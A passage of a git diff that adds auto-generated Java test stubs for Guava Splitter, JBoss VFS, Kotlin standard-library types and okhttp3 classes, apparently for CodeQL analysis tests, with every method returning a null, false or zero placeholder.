+    public static Splitter on(char p0){ return null; }
+    public static Splitter onPattern(String p0){ return null; }
+    static public class MapSplitter
+    {
+        protected MapSplitter() {}
+        public Map<String, String> split(CharSequence p0){ return null; }
     }
-  }
 }
diff --git a/java/ql/test/stubs/jboss-vfs-3.2/org/jboss/vfs/VFS.java b/java/ql/test/stubs/jboss-vfs-3.2/org/jboss/vfs/VFS.java
new file mode 100644
index 00000000000..e3528239558
--- /dev/null
+++ b/java/ql/test/stubs/jboss-vfs-3.2/org/jboss/vfs/VFS.java
@@ -0,0 +1,19 @@
+package org.jboss.vfs;
+
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+
+public class VFS {
+	public static VirtualFile getChild(URL url) throws URISyntaxException {
+		return null;
+	}
+
+	public static VirtualFile getChild(URI uri) {
+		return null;
+	}
+
+	public static VirtualFile getChild(String path) {
+		return null;
+	}
+}
diff --git a/java/ql/test/stubs/jboss-vfs-3.2/org/jboss/vfs/VirtualFile.java b/java/ql/test/stubs/jboss-vfs-3.2/org/jboss/vfs/VirtualFile.java
new file mode 100644
index 00000000000..ff6c17caff6
--- /dev/null
+++ b/java/ql/test/stubs/jboss-vfs-3.2/org/jboss/vfs/VirtualFile.java
@@ -0,0 +1,29 @@
+package org.jboss.vfs;
+
+import java.io.File;
+import java.io.IOException;
+
+public class VirtualFile {
+	VirtualFile(String name, VirtualFile parent) {
+	}
+
+	public String getName() {
+		return null;
+	}
+
+	public String getPathName() {
+		return null;
+	}
+
+	String getPathName(boolean url) {
+		return null;
+	}
+
+	public File getPhysicalFile() throws IOException {
+		return null;
+	}
+
+	public VirtualFile getChild(String path) {
+		return null;
+	}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/kotlin/Function.java b/java/ql/test/stubs/okhttp-4.9.3/kotlin/Function.java
new file mode 100644
index 00000000000..ec16743fa7a
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/kotlin/Function.java
@@ -0,0 +1,8 @@
+// Generated automatically from kotlin.Function for testing purposes
+
+package kotlin;
+
+
+public interface Function<R>
+{
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/kotlin/Pair.java b/java/ql/test/stubs/okhttp-4.9.3/kotlin/Pair.java
new file mode 100644
index 00000000000..74869657cb4
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/kotlin/Pair.java
@@ -0,0 +1,19 @@
+// Generated automatically from kotlin.Pair for testing purposes
+
+package kotlin;
+
+import java.io.Serializable;
+
+public class Pair<A, B> implements Serializable
+{
+    protected Pair() {}
+    public Pair(A p0, B p1){}
+    public String toString(){ return null; }
+    public boolean equals(Object p0){ return false; }
+    public final A component1(){ return null; }
+    public final A getFirst(){ return null; }
+    public final B component2(){ return null; }
+    public final B getSecond(){ return null; }
+    public final Pair<A, B> copy(A p0, B p1){ return null; }
+    public int hashCode(){ return 0; }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/kotlin/Unit.java b/java/ql/test/stubs/okhttp-4.9.3/kotlin/Unit.java
new file mode 100644
index 00000000000..c2aeb7e3616
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/kotlin/Unit.java
@@ -0,0 +1,11 @@
+// Generated automatically from kotlin.Unit for testing purposes
+
+package kotlin;
+
+
+public class Unit
+{
+    protected Unit() {}
+    public String toString(){ return null; }
+    public static Unit INSTANCE = null;
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/kotlin/collections/AbstractCollection.java b/java/ql/test/stubs/okhttp-4.9.3/kotlin/collections/AbstractCollection.java
new file mode 100644
index 00000000000..48555f6818e
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/kotlin/collections/AbstractCollection.java
@@ -0,0 +1,26 @@
+// Generated automatically from kotlin.collections.AbstractCollection for testing purposes
+
+package kotlin.collections;
+
+import java.util.Collection;
+import java.util.Iterator;
+import kotlin.jvm.internal.markers.KMappedMarker;
+
+abstract public class AbstractCollection<E> implements Collection<E>, KMappedMarker
+{
+    protected AbstractCollection(){}
+    public <T> T[] toArray(T[] p0){ return null; }
+    public Object[] toArray(){ return null; }
+    public String toString(){ return null; }
+    public abstract Iterator<E> iterator();
+    public abstract int getSize();
+    public boolean add(E p0){ return false; }
+    public boolean addAll(Collection<? extends E> p0){ return false; }
+    public boolean contains(Object p0){ return false; }
+    public boolean containsAll(Collection<? extends Object> p0){ return false; }
+    public boolean isEmpty(){ return false; }
+    public boolean remove(Object p0){ return false; }
+    public boolean removeAll(Collection<? extends Object> p0){ return false; }
+    public boolean retainAll(Collection<? extends Object> p0){ return false; }
+    public void clear(){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/kotlin/collections/AbstractList.java b/java/ql/test/stubs/okhttp-4.9.3/kotlin/collections/AbstractList.java
new file mode 100644
index 00000000000..1a11dbf9132
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/kotlin/collections/AbstractList.java
@@ -0,0 +1,40 @@
+// Generated automatically from kotlin.collections.AbstractList for testing purposes
+
+package kotlin.collections;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import kotlin.collections.AbstractCollection;
+import kotlin.jvm.internal.markers.KMappedMarker;
+
+abstract public class AbstractList<E> extends AbstractCollection<E> implements KMappedMarker, List<E>
+{
+    protected AbstractList(){}
+    public E remove(int p0){ return null; }
+    public E set(int p0, E p1){ return null; }
+    public Iterator<E> iterator(){ return null; }
+    public List<E> subList(int p0, int p1){ return null; }
+    public ListIterator<E> listIterator(){ return null; }
+    public ListIterator<E> listIterator(int p0){ return null; }
+    public abstract E get(int p0);
+    public abstract int getSize();
+    public boolean addAll(int p0, Collection<? extends E> p1){ return false; }
+    public boolean equals(Object p0){ return false; }
+    public int hashCode(){ return 0; }
+    public int indexOf(Object p0){ return 0; }
+    public int lastIndexOf(Object p0){ return 0; }
+    public static AbstractList.Companion Companion = null;
+    public void add(int p0, E p1){}
+    static public class Companion
+    {
+        protected Companion() {}
+        public final boolean orderedEquals$kotlin_stdlib(Collection<? extends Object> p0, Collection<? extends Object> p1){ return false; }
+        public final int orderedHashCode$kotlin_stdlib(Collection<? extends Object> p0){ return 0; }
+        public final void checkBoundsIndexes$kotlin_stdlib(int p0, int p1, int p2){}
+        public final void checkElementIndex$kotlin_stdlib(int p0, int p1){}
+        public final void checkPositionIndex$kotlin_stdlib(int p0, int p1){}
+        public final void checkRangeIndexes$kotlin_stdlib(int p0, int p1, int p2){}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/kotlin/jvm/functions/Function0.java b/java/ql/test/stubs/okhttp-4.9.3/kotlin/jvm/functions/Function0.java
new file mode 100644
index 00000000000..93c5085ec5f
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/kotlin/jvm/functions/Function0.java
@@ -0,0 +1,10 @@
+// Generated automatically from kotlin.jvm.functions.Function0 for testing purposes
+
+package kotlin.jvm.functions;
+
+import kotlin.Function;
+
+public interface Function0<R> extends Function<R>
+{
+    R invoke();
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/kotlin/jvm/internal/markers/KMappedMarker.java b/java/ql/test/stubs/okhttp-4.9.3/kotlin/jvm/internal/markers/KMappedMarker.java
new file mode 100644
index 00000000000..08178fd7cc5
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/kotlin/jvm/internal/markers/KMappedMarker.java
@@ -0,0 +1,8 @@
+// Generated automatically from kotlin.jvm.internal.markers.KMappedMarker for testing purposes
+
+package kotlin.jvm.internal.markers;
+
+
+public interface KMappedMarker
+{
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Address.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Address.java
new file mode 100644
index 00000000000..aa50e384773
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Address.java
@@ -0,0 +1,84 @@
+// Generated automatically from okhttp3.Address for testing purposes
+
+package okhttp3;
+
+import java.net.Proxy;
+import java.net.ProxySelector;
+import java.util.List;
+import javax.net.SocketFactory;
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.SSLSocketFactory;
+import okhttp3.Authenticator;
+import okhttp3.CertificatePinner;
+import okhttp3.ConnectionSpec;
+import okhttp3.Dns;
+import okhttp3.HttpUrl;
+import okhttp3.Protocol;
+
+public class Address {
+    protected Address() {}
+
+    public Address(String p0, int p1, Dns p2, SocketFactory p3, SSLSocketFactory p4,
+            HostnameVerifier p5, CertificatePinner p6, Authenticator p7, Proxy p8,
+            List<? extends Protocol> p9, List<ConnectionSpec> p10, ProxySelector p11) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final Authenticator proxyAuthenticator() {
+        return null;
+    }
+
+    public final CertificatePinner certificatePinner() {
+        return null;
+    }
+
+    public final Dns dns() {
+        return null;
+    }
+
+    public final HostnameVerifier hostnameVerifier() {
+        return null;
+    }
+
+    public final HttpUrl url() {
+        return null;
+    }
+
+    public final List<ConnectionSpec> connectionSpecs() {
+        return null;
+    }
+
+    public final List<Protocol> protocols() {
+        return null;
+    }
+
+    public final Proxy proxy() {
+        return null;
+    }
+
+    public final ProxySelector proxySelector() {
+        return null;
+    }
+
+    public final SSLSocketFactory sslSocketFactory() {
+        return null;
+    }
+
+    public final SocketFactory socketFactory() {
+        return null;
+    }
+
+    public final boolean equalsNonHost$okhttp(Address p0) {
+        return false;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Authenticator.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Authenticator.java
new file mode 100644
index 00000000000..2b969cbc064
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Authenticator.java
@@ -0,0 +1,19 @@
+// Generated automatically from okhttp3.Authenticator for testing purposes
+
+package okhttp3;
+
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.Route;
+
+public interface Authenticator
+{
+    Request authenticate(Route p0, Response p1);
+    static Authenticator JAVA_NET_AUTHENTICATOR = null;
+    static Authenticator NONE = null;
+    static Authenticator.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Cache.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Cache.java
new file mode 100644
index 00000000000..789ff82e4f8
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Cache.java
@@ -0,0 +1,137 @@
+// Generated automatically from okhttp3.Cache for testing purposes
+
+package okhttp3;
+
+import java.io.Closeable;
+import java.io.File;
+import java.io.Flushable;
+import java.util.Iterator;
+import okhttp3.Headers;
+import okhttp3.HttpUrl;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.internal.cache.CacheRequest;
+import okhttp3.internal.cache.CacheStrategy;
+import okhttp3.internal.cache.DiskLruCache;
+import okhttp3.internal.io.FileSystem;
+import okio.BufferedSource;
+
+public class Cache implements Closeable, Flushable {
+    protected Cache() {}
+
+    public Cache(File p0, long p1) {}
+
+    public Cache(File p0, long p1, FileSystem p2) {}
+
+    public final CacheRequest put$okhttp(Response p0) {
+        return null;
+    }
+
+    public final DiskLruCache getCache$okhttp() {
+        return null;
+    }
+
+    public final File directory() {
+        return null;
+    }
+
+    public final Iterator<String> urls() {
+        return null;
+    }
+
+    public final Response get$okhttp(Request p0) {
+        return null;
+    }
+
+    public final boolean isClosed() {
+        return false;
+    }
+
+    public final int getWriteAbortCount$okhttp() {
+        return 0;
+    }
+
+    public final int getWriteSuccessCount$okhttp() {
+        return 0;
+    }
+
+    public final int hitCount() {
+        return 0;
+    }
+
+    public final int networkCount() {
+        return 0;
+    }
+
+    public final int requestCount() {
+        return 0;
+    }
+
+    public final int writeAbortCount() {
+        return 0;
+    }
+
+    public final int writeSuccessCount() {
+        return 0;
+    }
+
+    public final long maxSize() {
+        return 0;
+    }
+
+    public final long size() {
+        return 0;
+    }
+
+    public final void delete() {}
+
+    public final void evictAll() {}
+
+    public final void initialize() {}
+
+    public final void remove$okhttp(Request p0) {}
+
+    public final void setWriteAbortCount$okhttp(int p0) {}
+
+    public final void setWriteSuccessCount$okhttp(int p0) {}
+
+    public final void trackConditionalCacheHit$okhttp() {}
+
+    public final void trackResponse$okhttp(CacheStrategy p0) {}
+
+    public final void update$okhttp(Response p0, Response p1) {}
+
+    public static Cache.Companion Companion = null;
+
+    public static String key(HttpUrl p0) {
+        return null;
+    }
+
+    public void close() {}
+
+    public void flush() {}
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final Headers varyHeaders(Response p0) {
+            return null;
+        }
+
+        public final String key(HttpUrl p0) {
+            return null;
+        }
+
+        public final boolean hasVaryAll(Response p0) {
+            return false;
+        }
+
+        public final boolean varyMatches(Response p0, Headers p1, Request p2) {
+            return false;
+        }
+
+        public final int readInt$okhttp(BufferedSource p0) {
+            return 0;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CacheControl.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CacheControl.java
new file mode 100644
index 00000000000..564f1cad733
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CacheControl.java
@@ -0,0 +1,78 @@
+// Generated automatically from okhttp3.CacheControl for testing purposes
+
+package okhttp3;
+
+import okhttp3.Headers;
+
+public class CacheControl {
+    protected CacheControl() {}
+
+    public String toString() {
+        return null;
+    }
+
+    public final boolean immutable() {
+        return false;
+    }
+
+    public final boolean isPrivate() {
+        return false;
+    }
+
+    public final boolean isPublic() {
+        return false;
+    }
+
+    public final boolean mustRevalidate() {
+        return false;
+    }
+
+    public final boolean noCache() {
+        return false;
+    }
+
+    public final boolean noStore() {
+        return false;
+    }
+
+    public final boolean noTransform() {
+        return false;
+    }
+
+    public final boolean onlyIfCached() {
+        return false;
+    }
+
+    public final int maxAgeSeconds() {
+        return 0;
+    }
+
+    public final int maxStaleSeconds() {
+        return 0;
+    }
+
+    public final int minFreshSeconds() {
+        return 0;
+    }
+
+    public final int sMaxAgeSeconds() {
+        return 0;
+    }
+
+    public static CacheControl FORCE_CACHE = null;
+    public static CacheControl FORCE_NETWORK = null;
+
+    public static CacheControl parse(Headers p0) {
+        return null;
+    }
+
+    public static CacheControl.Companion Companion = null;
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final CacheControl parse(Headers p0) {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Call.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Call.java
new file mode 100644
index 00000000000..69017719bb9
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Call.java
@@ -0,0 +1,24 @@
+// Generated automatically from okhttp3.Call for testing purposes
+
+package okhttp3;
+
+import okhttp3.Callback;
+import okhttp3.Request;
+import okhttp3.Response;
+import okio.Timeout;
+
+public interface Call extends Cloneable
+{
+    Call clone();
+    Request request();
+    Response execute();
+    Timeout timeout();
+    boolean isCanceled();
+    boolean isExecuted();
+    static public interface Factory
+    {
+        Call newCall(Request p0);
+    }
+    void cancel();
+    void enqueue(Callback p0);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Callback.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Callback.java
new file mode 100644
index 00000000000..e86c6d20801
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Callback.java
@@ -0,0 +1,13 @@
+// Generated automatically from okhttp3.Callback for testing purposes
+
+package okhttp3;
+
+import java.io.IOException;
+import okhttp3.Call;
+import okhttp3.Response;
+
+public interface Callback
+{
+    void onFailure(Call p0, IOException p1);
+    void onResponse(Call p0, Response p1);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CertificatePinner.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CertificatePinner.java
new file mode 100644
index 00000000000..15e83d72f46
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CertificatePinner.java
@@ -0,0 +1,51 @@
+// Generated automatically from okhttp3.CertificatePinner for testing purposes
+
+package okhttp3;
+
+import java.security.cert.Certificate;
+import java.security.cert.X509Certificate;
+import java.util.List;
+import java.util.Set;
+import kotlin.jvm.functions.Function0;
+import okhttp3.internal.tls.CertificateChainCleaner;
+import okio.ByteString;
+
+public class CertificatePinner
+{
+    protected CertificatePinner() {}
+    public CertificatePinner(Set<CertificatePinner.Pin> p0, CertificateChainCleaner p1){}
+    public boolean equals(Object p0){ return false; }
+    public final CertificateChainCleaner getCertificateChainCleaner$okhttp(){ return null; }
+    public final CertificatePinner withCertificateChainCleaner$okhttp(CertificateChainCleaner p0){ return null; }
+    public final List<CertificatePinner.Pin> findMatchingPins(String p0){ return null; }
+    public final Set<CertificatePinner.Pin> getPins(){ return null; }
+    public final void check$okhttp(String p0, Function0<? extends List<? extends X509Certificate>> p1){}
+    public final void check(String p0, Certificate... p1){}
+    public final void check(String p0, List<? extends Certificate> p1){}
+    public int hashCode(){ return 0; }
+    public static ByteString sha1Hash(X509Certificate p0){ return null; }
+    public static ByteString sha256Hash(X509Certificate p0){ return null; }
+    public static CertificatePinner DEFAULT = null;
+    public static CertificatePinner.Companion Companion = null;
+    public static String pin(Certificate p0){ return null; }
+    static public class Companion
+    {
+        protected Companion() {}
+        public final ByteString sha1Hash(X509Certificate p0){ return null; }
+        public final ByteString sha256Hash(X509Certificate p0){ return null; }
+        public final String pin(Certificate p0){ return null; }
+    }
+    static public class Pin
+    {
+        protected Pin() {}
+        public Pin(String p0, String p1){}
+        public String toString(){ return null; }
+        public boolean equals(Object p0){ return false; }
+        public final ByteString getHash(){ return null; }
+        public final String getHashAlgorithm(){ return null; }
+        public final String getPattern(){ return null; }
+        public final boolean matchesCertificate(X509Certificate p0){ return false; }
+        public final boolean matchesHostname(String p0){ return false; }
+        public int hashCode(){ return 0; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Challenge.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Challenge.java
new file mode 100644
index 00000000000..f64fe1436b4
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Challenge.java
@@ -0,0 +1,46 @@
+// Generated automatically from okhttp3.Challenge for testing purposes
+
+package okhttp3;
+
+import java.nio.charset.Charset;
+import java.util.Map;
+
+public class Challenge {
+    protected Challenge() {}
+
+    public Challenge(String p0, Map<String, String> p1) {}
+
+    public Challenge(String p0, String p1) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final Challenge withCharset(Charset p0) {
+        return null;
+    }
+
+    public final Charset charset() {
+        return null;
+    }
+
+    public final Map<String, String> authParams() {
+        return null;
+    }
+
+    public final String realm() {
+        return null;
+    }
+
+    public final String scheme() {
+        return null;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CipherSuite.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CipherSuite.java
new file mode 100644
index 00000000000..24d10e5da04
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CipherSuite.java
@@ -0,0 +1,155 @@
+// Generated automatically from okhttp3.CipherSuite for testing purposes
+
+package okhttp3;
+
+import java.util.Comparator;
+
+public class CipherSuite {
+    protected CipherSuite() {}
+
+    public String toString() {
+        return null;
+    }
+
+    public final String javaName() {
+        return null;
+    }
+
+    public static CipherSuite TLS_AES_128_CCM_8_SHA256 = null;
+    public static CipherSuite TLS_AES_128_CCM_SHA256 = null;
+    public static CipherSuite TLS_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_CHACHA20_POLY1305_SHA256 = null;
+    public static CipherSuite TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_DSS_WITH_DES_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 = null;
+    public static CipherSuite TLS_DHE_RSA_WITH_DES_CBC_SHA = null;
+    public static CipherSuite TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA = null;
+    public static CipherSuite TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 = null;
+    public static CipherSuite TLS_DH_anon_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_DH_anon_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_DH_anon_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_DH_anon_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_DH_anon_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_DH_anon_WITH_AES_256_CBC_SHA256 = null;
+    public static CipherSuite TLS_DH_anon_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_DH_anon_WITH_DES_CBC_SHA = null;
+    public static CipherSuite TLS_DH_anon_WITH_RC4_128_MD5 = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_NULL_SHA = null;
+    public static CipherSuite TLS_ECDHE_ECDSA_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256 = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_NULL_SHA = null;
+    public static CipherSuite TLS_ECDHE_RSA_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_NULL_SHA = null;
+    public static CipherSuite TLS_ECDH_ECDSA_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_NULL_SHA = null;
+    public static CipherSuite TLS_ECDH_RSA_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_anon_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_anon_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_ECDH_anon_WITH_NULL_SHA = null;
+    public static CipherSuite TLS_ECDH_anon_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_EMPTY_RENEGOTIATION_INFO_SCSV = null;
+    public static CipherSuite TLS_FALLBACK_SCSV = null;
+    public static CipherSuite TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5 = null;
+    public static CipherSuite TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA = null;
+    public static CipherSuite TLS_KRB5_EXPORT_WITH_RC4_40_MD5 = null;
+    public static CipherSuite TLS_KRB5_EXPORT_WITH_RC4_40_SHA = null;
+    public static CipherSuite TLS_KRB5_WITH_3DES_EDE_CBC_MD5 = null;
+    public static CipherSuite TLS_KRB5_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_KRB5_WITH_DES_CBC_MD5 = null;
+    public static CipherSuite TLS_KRB5_WITH_DES_CBC_SHA = null;
+    public static CipherSuite TLS_KRB5_WITH_RC4_128_MD5 = null;
+    public static CipherSuite TLS_KRB5_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_PSK_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_PSK_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_PSK_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_PSK_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_RSA_EXPORT_WITH_DES40_CBC_SHA = null;
+    public static CipherSuite TLS_RSA_EXPORT_WITH_RC4_40_MD5 = null;
+    public static CipherSuite TLS_RSA_WITH_3DES_EDE_CBC_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_AES_128_CBC_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_AES_128_CBC_SHA256 = null;
+    public static CipherSuite TLS_RSA_WITH_AES_128_GCM_SHA256 = null;
+    public static CipherSuite TLS_RSA_WITH_AES_256_CBC_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_AES_256_CBC_SHA256 = null;
+    public static CipherSuite TLS_RSA_WITH_AES_256_GCM_SHA384 = null;
+    public static CipherSuite TLS_RSA_WITH_CAMELLIA_128_CBC_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_CAMELLIA_256_CBC_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_DES_CBC_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_NULL_MD5 = null;
+    public static CipherSuite TLS_RSA_WITH_NULL_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_NULL_SHA256 = null;
+    public static CipherSuite TLS_RSA_WITH_RC4_128_MD5 = null;
+    public static CipherSuite TLS_RSA_WITH_RC4_128_SHA = null;
+    public static CipherSuite TLS_RSA_WITH_SEED_CBC_SHA = null;
+
+    public static CipherSuite forJavaName(String p0) {
+        return null;
+    }
+
